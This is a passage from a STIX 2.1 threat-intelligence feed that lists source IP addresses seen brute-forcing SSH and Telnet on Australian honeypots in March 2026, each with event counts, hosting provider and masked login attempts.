      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 81. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**7, 3***********4, 3**********4, ***.",
      "id": "indicator--41ab76a2-e209-401f-940d-b9a1df662250",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.163.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): .*******6, 3**********4, O********4.",
      "id": "indicator--d59d5056-41f1-44e1-a72b-b7e42a6a60bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.163.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7, O********4.",
      "id": "indicator--f373a5c9-a4b1-488f-86c6-504a8b12f6a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.48.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--f1026e56-3b0b-45c8-8abc-7b459643c31c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.48.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): .*******6, 1**7, 3***********4, 3**********4.",
      "id": "indicator--16278131-d124-463a-87e8-2d9195f48dea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.49.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6, ***.",
      "id": "indicator--7f59ba35-5837-4063-88f7-62ab4e5401d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.49.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(.",
      "id": "indicator--e61e7f20-c1d4-4154-be6a-3c0d5354ba51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.49.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b.",
      "id": "indicator--20c49d67-757a-45f7-abbe-c1357ec63d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.50.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7.",
      "id": "indicator--8e3f1bb4-dcac-4c49-877c-fc8bda5b3d72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.51.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a******5, ***.",
      "id": "indicator--040bcd4b-9cc3-404c-8dec-60b8afe49e9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.18.229.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): .*******6, 1**7, 3***********4, 3**********4, a******5.",
      "id": "indicator--3ed970e6-1570-4f08-8f0d-8ca9a7947775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.208.108.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): D******1, M******6.",
      "id": "indicator--1a380f76-cc77-45b0-be44-35a4005e37c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.193.190.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****b, 3***********4, 3**********4, a******5.",
      "id": "indicator--a624793e-c8a4-410b-9df3-2990f309e521",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.1.131.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b, M******6.",
      "id": "indicator--327c7199-a62d-4e90-a7c6-7faae281d831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.1.132.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, O********4, ***.",
      "id": "indicator--93db73ac-96a5-4cef-8fd0-cad4b7c7677b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.226.203.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 476. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, 1*******9, !*******, 0****0.",
      "id": "indicator--b581f657-ad20-48de-8aee-898b6f677634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.146.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--057ae75d-9c32-49b2-987d-81f4c5cb3197",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.59.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r***1. Passwords observed (masked): 1**4.",
      "id": "indicator--b551cbeb-445c-4eac-8ae2-6b019fc441d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.79.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): ***, s****5.",
      "id": "indicator--446dab3b-e8c7-449d-8da9-de584ba0e886",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.5.169.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): M******6, a******5.",
      "id": "indicator--30445292-ec72-420f-be63-bc056e62a356",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.5.169.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 63. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****b, 3***********4, 3**********4, O********4.",
      "id": "indicator--ae27d624-11d0-4bcc-9718-d0aa2d06b6fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.188.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 428. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, d*******r, d****r, d****e, d****n. Passwords observed (masked): 1******8, 1*******9, P*********3, a******3, p******d.",
      "id": "indicator--cd1f9d0d-f604-495e-8ef2-da46ab6451ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.64.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 502. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, c****s, u****u, t**t. Passwords observed (masked): 1****6, p******d, 0****0, 1****1, ***.",
      "id": "indicator--2735da2d-84c9-41c0-8b3b-e644c07274d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.113.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b4f6ec87-6f76-4673-8e58-85bb451b7855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.211.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 408. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u, c****s. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--f4b2450a-678c-41f5-a5ca-8bfa22f5a8be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.185.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.141.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 75. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r. Passwords observed (masked): 1****6, P******d, a***n, a******3, a*******6.",
      "id": "indicator--4f6266a2-0aec-4ee7-9de8-d81b65c59bfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.33.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 280. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 1****6, p******d, 0****0, 1****1, ***.",
      "id": "indicator--20df3ec1-6c14-4af6-b661-fba2dfcc28bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.203.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b50e74d4-d678-4c5a-94bb-9b43c42b8028",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.226.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 513. Sensors involved: Fatt. Target ports: 33134, 41672, 41990, 42326, 46202. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t. Passwords observed (masked): D******1, O********4.",
      "id": "indicator--e66084f4-d52c-4a91-b8bd-767d11a60616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.144.16.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 270603. Organisation(s): R R DE FRANCA SOUSA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******3, A*******8, R*********6.",
      "id": "indicator--27b5bc13-2f83-4bb8-b38b-d1ce8890c1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.85.247.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--05faa928-3e48-4f23-862c-0c77a47315af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.16.54.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 211736. Organisation(s): FOP Dmytro Nedilskyi. Usernames observed (masked): t**********n. Passwords observed (masked): a**********m.",
      "id": "indicator--83a3668a-6a1c-4227-b242-746f85d296ff",
      "labels": [
        "bruteforce"
      ],
